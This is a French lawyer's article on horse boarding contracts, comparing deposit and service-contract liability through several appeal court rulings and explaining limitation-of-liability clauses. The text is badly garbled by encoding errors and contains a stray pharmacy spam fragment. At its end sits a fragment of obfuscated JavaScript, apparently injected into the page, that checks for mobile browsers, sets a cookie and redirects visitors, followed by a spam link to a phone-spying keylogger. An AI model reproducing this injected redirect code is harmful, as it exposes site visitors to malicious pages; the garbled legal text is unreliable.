Mettre son cheval en pension : diverses consAi??quences juridiques en fonction du contrat de pension choisi

Avoir un cheval, ce nai??i??est pas seulement profiter de sAi??ances de travail inoubliables, de balades au petit jour, de compAi??titions et dai??i??autres moments privilAi??giAi??s de complicitAi?? avec votre compagnon, cai??i??est aussi lui trouver un habitat qui lui convienne.

 

Animal Ai?? lai??i??origine sauvage et Ai??pris de grands espaces, nous lai??i??avons domestiquAi?? afin de servir nos rA?ves et notre passion. Le cheval au travail vit dAi??sormais prA?s de notre domicile, gAi??nAi??ralement dans un box et, sai??i??il a un peu de chance, avec quelques mA?tres carrAi??s dai??i??herbe Ai?? sa disposition.

Au regard de lai??i??offre plAi??thorique et diversifiAi??e, quelle formule choisir pour votre compagnonAi??? Quels sont vos droitsAi??? Quelles sont les consAi??quences en cas dai??i??accidentAi???

Aujourdai??i??hui, lai??i??offre de pension pour les chevaux est abondante et les formules sont trA?s variAi??esAi??: pension en box ou en box nu, pension au prAi?? ou en prAi??-box, pension Ai??Ai??travailAi??Ai??, pension Ai??Ai??compAi??titionAi??Ai??, etc. La formule choisie pour votre compagnon a des consAi??quences sur vos droits et sur la responsabilitAi?? de la personne ou structure Ai?? qui vous le confiez. Illustrationai??i??

 

1. Illustration

Dans une premiA?re espA?ce (Cour dai??i??appel de Dijon, 9 octobre 2007, nAi??06/02216), Monsieur et Madame D, propriAi??taires dai??i??une jument ont conclu avec Monsieur L, exploitant dai??i??un cAi??lA?bre haras, un contrat de vente de saillie dai??i??un Ai??talon dudit harasAi??; par ce contrat, il Ai??tait convenu que le haras rAi??alise lai??i??insAi??mination de la jument de Monsieur et Madame D. Comme prAi??vu, ces derniers ont donc confiAi?? Ai?? Monsieur L leur jument, accompagnAi??e de son poulain A?gAi?? de 3 semaines. Malheureusement, le poulain est dAi??cAi??dAi?? accidentellement au prAi?? quelques jours aprA?s et Monsieur et Madame D ont assignAi?? le dAi??positaire (Monsieur L) en responsabilitAi?? et indemnisation.

Les juges ont indemnisAi?? Monsieur et Madame D pour leur prAi??judice subi du fait du dAi??cA?s de leur poulain et ont retenu la responsabilitAi?? du dAi??positaire (Monsieur L) au motif que Ai??Ai??il se dAi??duit des circonstances du dAi??cA?s que [Monsieur L] a manquAi?? Ai?? l’obligation essentielle du contrat de dAi??pA?t salariAi?? qui lui imposait de tout mettre en Ai??uvre pour garder la ‘chose’ confiAi??e [i.e. le poulain] et la restituer ; que faute de justifier du prAi??tendu caractA?re imprAi??visible du dAi??cA?s, son manquement Ai?? l’obligation essentielle du contrat caractAi??rise une faute lourde permettant (ai??i??) de retenir sa responsabilitAi??Ai??Ai??

En effet, il est ressorti du rapport d’autopsie que le poulain de Monsieur et Madame D Ai??tait dAi??cAi??dAi?? en fin de nuit, alors qu’il avait Ai??tAi?? mis au prAi?? avec d’autres juments suitAi??esAi??; son dAi??cA?s a rAi??sultAi?? des consAi??quences d’une hAi??morragie interne provoquAi??e par un violent traumatisme sur la cage thoracique, traumatisme probablement occasionnAi?? par les autres animaux. Cai??i??est donc le manquement du dAi??positaire (Monsieur L) Ai?? son obligation essentielle ai??i?? restituer le poulain et la jument Ai?? leurs propriAi??taires sains et saufs ai??i?? dont la preuve a Ai??tAi?? rapportAi??e notamment par lai??i??autopsie qui est Ai?? lai??i??origine de la responsabilitAi?? de Monsieur L.

Aussi, dans le cadre dai??i??un contrat de dAi??pA?t-salariAi?? (i.e. dai??i??hAi??bergement), le dAi??positaire a Ai?? sa charge une obligation de moyens renforcAi??e, dont il ne peut sai??i??exonAi??rer quai??i??en rapportant la preuve quai??i??il nai??i??a pas commis de faute.

Toutefois, les juges ne sont pas toujours aussi sAi??vA?res Ai?? lai??i??Ai??gard des dAi??positaires[1]. Dans une seconde espA?ce (Cour dai??i??appel de Grenoble, 1er octobre 2012), un propriAi??taire avait mis sa jument en pension Ai??Ai??prAi??-boxAi??Ai?? chez un dAi??positaireAi??; la jument sai??i??est blessAi??e au prAi?? alors quai??i??elle Ai??tait avec dai??i??autres chevaux. Dans cette affaire, les juges ont exclu la responsabilitAi?? du dAi??positaire au motif dai??i??une part que la propriAi??taire nai??i??avait pas formulAi?? son opposition de mettre sa jument avec dai??i??autres chevaux au prAi?? et dai??i??autre part que le dAi??positaire a portAi?? les soins adAi??quats en prAi??venant immAi??diatement la propriAi??taire et en faisant intervenir le vAi??tAi??rinaire aussi vite que possible.

 

2. La distinction entre le contrat de dAi??pA?t-salariAi?? et le contrat dai??i??entreprise

En dAi??finitive, la conclusion dai??i??un contrat de dAi??pA?t-salariAi?? est la formule la plus protectrice juridiquement pour le propriAi??taire mais certains besoins de cavaliers propriAi??taires ne peuvent A?tre couverts par ce type de contrat, par exemple en cas de pension travail ou compAi??tition par exemple.

Dans ce cas, dA?s lors quai??i??un aspect de la mission du dAi??positaire est le travail du cheval ou la sortie en compAi??tition (en rAi??alitAi??, tout ce qui est hors hAi??bergement), ce sont les rA?gles relatives au contrat dai??i??entreprise qui sai??i??appliquentAi??; les obligations pesant sur le responsable sont beaucoup plus lAi??gA?res que dans le cas du contrat de dAi??pA?t-salariAi??. En effet, lai??i??entraAi??neur est dans ce cas soumis Ai?? une obligation de moyens simpleAi??; la preuve de la faute de lai??i??entraAi??neur incombe au donneur dai??i??ordre, cai??i??est-Ai??-dire au propriAi??taire du cheval.

Face Ai?? un contrat de pension Ai??Ai??complexeAi??Ai??, les tribunaux rAi??alisent une application distributive des rA?gles de droitAi??: les rA?gles relatives au contrat de dAi??pA?t-salariAi?? sai??i??appliquent pour les missions dai??i??hAi??bergement et de soins y relatifs et les rA?gles relatives au contrat dai??i??entreprise sai??i??appliquent aux autres missions (comme lai??i??entraAi??nement par exemple) (Cass. Civ1, 3 juillet 2001).

Dans une affaire datant de quelques annAi??es (Cour dai??i??appel de Toulouse, 11 mai 2004), un propriAi??taire avait confiAi?? son cheval Ai?? lai??i??entraAi??nement dans une Ai??curie. Malheureusement, le cheval sai??i??est blessAi?? gravement dans le paddock oA? il avait Ai??tAi?? lA?chAi?? aprA?s le travail et a dAi?? A?tre euthanasiAi??. Les juges ont retenu que la responsabilitAi?? de lai??i??entraAi??neur relevait du contrat dai??i??entreprise (lai??i??objet principal du contrat conclu entre lai??i??entraAi??neur et le propriAi??taire du cheval Ai??tant lai??i??entraAi??nement du cheval Ai?? la compAi??tition). En lai??i??espA?ce, le propriAi??taire nai??i??a pas pu prouver la faute de lai??i??entraAi??neur, puisque Ai??Ai??la mise au paddock dai??i??un cheval aprA?s une sAi??ance de travail [est] une pratique courante et bAi??nAi??fique, non constitutive dai??i??une fauteAi??Ai??Ai??; la responsabilitAi?? de lai??i??entraAi??neur nai??i??a pas Ai??tAi?? retenue de ce fait par les juges.

Le contrat de pension peut Ai??galement contenir des clauses limitatives de responsabilitAi?? en faveur du dAi??positaire. Quai??i??en est-il dans ce casAi???

 

3. La question des clauses limitatives de responsabilitAi??

Les clauses limitatives de responsabilitAi?? sont valables, sauf si elles ont pour but dai??i??exonAi??rer le dAi??positaire de son obligation essentielle au titre du contrat (par exemple, son obligation de garde). Le dAi??positaire / entraAi??neur peut par contre prAi??voir une clause limitative de responsabilitAi?? portant sur une obligation accessoire du contrat. Evidemment, ces clauses limitatives de responsabilitAi?? ne joueront pas en cas de faute lourde du dAi??positaire.

Il peut aussi limiter sa responsabilitAi?? en restreignant le champ des prAi??judices indemnisables (en excluant par exemple le prAi??judice moral). Il peut Ai??galement prAi??voir un plafond maximum dai??i??indemnisation au-delAi?? duquel le prAi??judice du propriAi??taire ne sera pas rAi??parAi??Ai??; une telle clause est valable Ai?? la condition que le montant du plafond ne soit pas dAi??risoire.

Enfin, il est possible pour le propriAi??taire et le dAi??positaire de prAi??voir dans le contrat de pension dai??i??inverser la charge de la preuve. Par exemple, les tribunaux ont reconnu que Ai??Ai??les parties Ai?? un tel contrat sont libres de convenir de mettre Ai?? la charge du dAi??posant [i.e. le propriAi??taire], qui entend se prAi??valoir d’un manquement du dAi??positaire Ai?? l’obligation de moyens qui lui incombe, la preuve de ce manquementAi??Ai?? (Cass. Civ1, 30 octobre 2007, nAi?? 06-19390).

 

 

Cerner et dAi??finir vos besoins et ceux de votre cheval vous permettra de choisir la formule de pension la plus adaptAi??e. Par ailleurs, avoir pleinement connaissance de vos droits en tant que dAi??posant et des diffAi??rentes consAi??quences juridiques du contrat de pension, vous permettra de nAi??gocier au mieux ai??i?? le cas Ai??chAi??ant ai??i?? les adaptations dudit contrat suggAi??rAi??es par le dAi??positaire et/ou lai??i??entraAi??neur.

 

Ai??

Julie Chapuy, Avocat Ai?? la Cour

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Distinction entre les rAi??gimes juridiques du contrat de dAi??pA?t-salariAi?? et du contrat dai??i??entreprise
  www.lilly pharm Contrat de dAi??pA?t-salariAi??

(articles 1915 et suivants du Code civil)

Contrat dai??i??entreprise
Objet HAi??bergement et soins EntraAi??nement, compAi??tition, etc.
Obligation Ai?? la charge du dAi??positaire Obligation de moyens renforcAi??e (le dAi??positaire doit dAi??montrer une absence de faute) Obligation de moyens simple (le propriAi??taire doit prouver la faute de lai??i??entraAi??neur)
ConsAi??quences ResponsabilitAi?? forte du dAi??positaire ResponsabilitAi?? allAi??gAi??e de lai??i??entraAi??neur
A retenirAi??!
-Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai?? PrAi??fAi??rer un contrat de pension Ai??crit (bien que de nombreux dAi??positaires pratiquent la conclusion orale du contrat de pension)

 

-Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai?? Bien lire le contrat de pension et ne pas hAi??siter Ai?? demander de lai??i??aide Ai?? un juriste qualifiAi??

 

-Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai?? DAi??finir de la faAi??on la plus prAi??cise possible le contenu du contrat de pension en accord avec le dAi??positaire

 

-Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai??Ai?? Veillez Ai?? regarder si le contrat contient des clauses limitatives de responsabilitAi?? du dAi??positaire et/ou des plafonds dai??i??indemnisation

 

 

BibliographieAi??:

Le cheval, contrats et responsabilitAi??s, IDE, 2006

 

[1] Au-delAi?? du simple alAi??a judiciaire, lai??i??on peut raisonnablement penser que les juges ont Ai??tAi?? particuliA?rement sAi??vA?res dans la premiA?re espA?ce (CA Dijon, 9 octobre 2007) au vue des conditions particuliA?res du litige (spAi??cificitAi?? des soins et de lai??i??attention Ai?? porter Ai?? un poulain A?gAi?? de 3 semaines notamment). 47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://businessforumz.com/gsp-tracker-keylogger-iphone-spy-stealth/

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